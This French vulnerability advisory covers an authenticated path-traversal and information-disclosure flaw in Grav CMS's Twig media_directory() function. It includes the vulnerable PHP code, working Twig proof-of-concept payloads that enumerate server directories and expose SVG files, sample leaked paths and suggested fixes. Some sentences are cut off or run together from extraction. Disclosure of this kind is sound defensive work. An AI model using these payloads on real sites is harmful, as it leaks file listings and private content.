
Avis technique détaillant une vulnérabilité de traversée de chemin authentifiée dans la fonction Twig media_directory() de Grav CMS, permettant l'énumération arbitraire de répertoires et la divulgation de chemins du système de fichiers.
media_directory()Nom : CYBER-SEC
Contact : [email protected]
La fonction Twig media_directory() de Grav est exposée dans la liste blanche du bac à sable Twig du contenu des pages, mais elle ne fait pas correctement respecter le confinement des chemins pour les entrées qui ne sont pas des flux.
Un utilisateur authentifié disposant de privilèges d'édition de pages peut appeler media_directory('/chemin/absolu') ou utiliser une traversée relative telle que media_directory('../../../../chemin') dans le contenu de pages compatible Twig. Grav indexe ensuite les fichiers de type média depuis les répertoires lisibles par l'utilisateur du serveur web.
Les objets Medium renvoyés exposent des propriétés autorisées par le bac à sable telles que et , ce qui entraîne une énumération arbitraire de répertoires et la divulgation de chemins absolus du système de fichiers. Pour les fichiers image/SVG, la génération d'URL ou de cache peut exposer des fichiers via la gestion publique du cache de Grav.
filepathfilenameIl s'agit d'une vulnérabilité de divulgation d'informations authentifiée. Elle n'est pas connue pour permettre une exploitation non authentifiée ou une exécution directe de code à distance.
Produit : CMS Grav à fichiers plats
Dépôt : https://github.com/getgrav/grav
Versions concernées vérifiées : 2.0.3, 2.0.4, 2.0.6
Composant : Twig media_directory() / bac à sable Twig du contenu des pages de Grav
Vecteur : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Score de base : 6,5 Moyen
Le point sensible vulnérable se trouve dans :
system/src/Grav/Common/Twig/Extension/GravExtension.php
Logique concernée :
public function mediaDirFunc($media_dir)
{
$locator = $this->grav['locator'];
if ($locator->isStream($media_dir)) {
$media_dir = $locator->findResource($media_dir);
}
if ($media_dir && file_exists($media_dir)) {
return new Media($media_dir);
}
return null;
}
Seules les entrées stream:// sont résolues via le localisateur de Grav. Les chemins absolus ou relatifs qui ne sont pas des flux sont transmis tels quels à new Media($media_dir) sans validation canonique realpath(), sans rejet de la traversée, ni confinement aux répertoires contrôlés par Grav et approuvés.
La fonction est exposée via la liste blanche du bac à sable Twig du contenu des pages :
system/config/security.yaml
allowed_functions:
- media_directory
Le bac à sable autorise également les méthodes/propriétés Medium telles que :
filepath
filename
url
cache
resize
Cela permet à un éditeur de pages authentifié de divulguer des noms de fichiers et des chemins absolus depuis des répertoires arbitraires lisibles. Pour les fichiers image/SVG, la génération d'URL/cache publique peut exposer le contenu des fichiers.
Avec le traitement du contenu Twig activé, créez ou modifiez une page Grav et insérez :
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
Forme avec traversée :
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
Exemple d'exposition d'image/SVG :
{{ media_directory('/chemin/absolu/vers/prive')['secret.svg'].url }}
Lorsque la page est enregistrée et rendue, Grav indexe les fichiers depuis le chemin contrôlé par l'attaquant et expose les noms de fichiers ainsi que les chemins absolus du système de fichiers.
Vérifié sur Grav 2.0.6 à l'aide de l'image Docker linuxserver/grav:latest.
Les résultats observés comprenaient :
LICENSE.txt => /app/www/public/LICENSE.txt
composer.json => /app/www/public/composer.json
robots.txt => /app/www/public/robots.txt
now.json => /app/www/public/now.json
La traversée relative a également été confirmée :
../../../../app/www/public
L'exposition de fichiers SVG via .url a également été confirmée dans un environnement de test local contrôlé.
Un éditeur de pages authentifié peut :
Cette vulnérabilité relève de la classe des divulgations et ne doit pas être signalée comme une exécution de code à distance.
Correctifs recommandés :
media_directory de la liste blanche du bac à sable Twig du contenu des pages.ou :
media_directory() :realpath().user://pages, user://images ou d'autres répertoires média explicitement approuvés.Ce problème a été signalé par CYBER-SEC.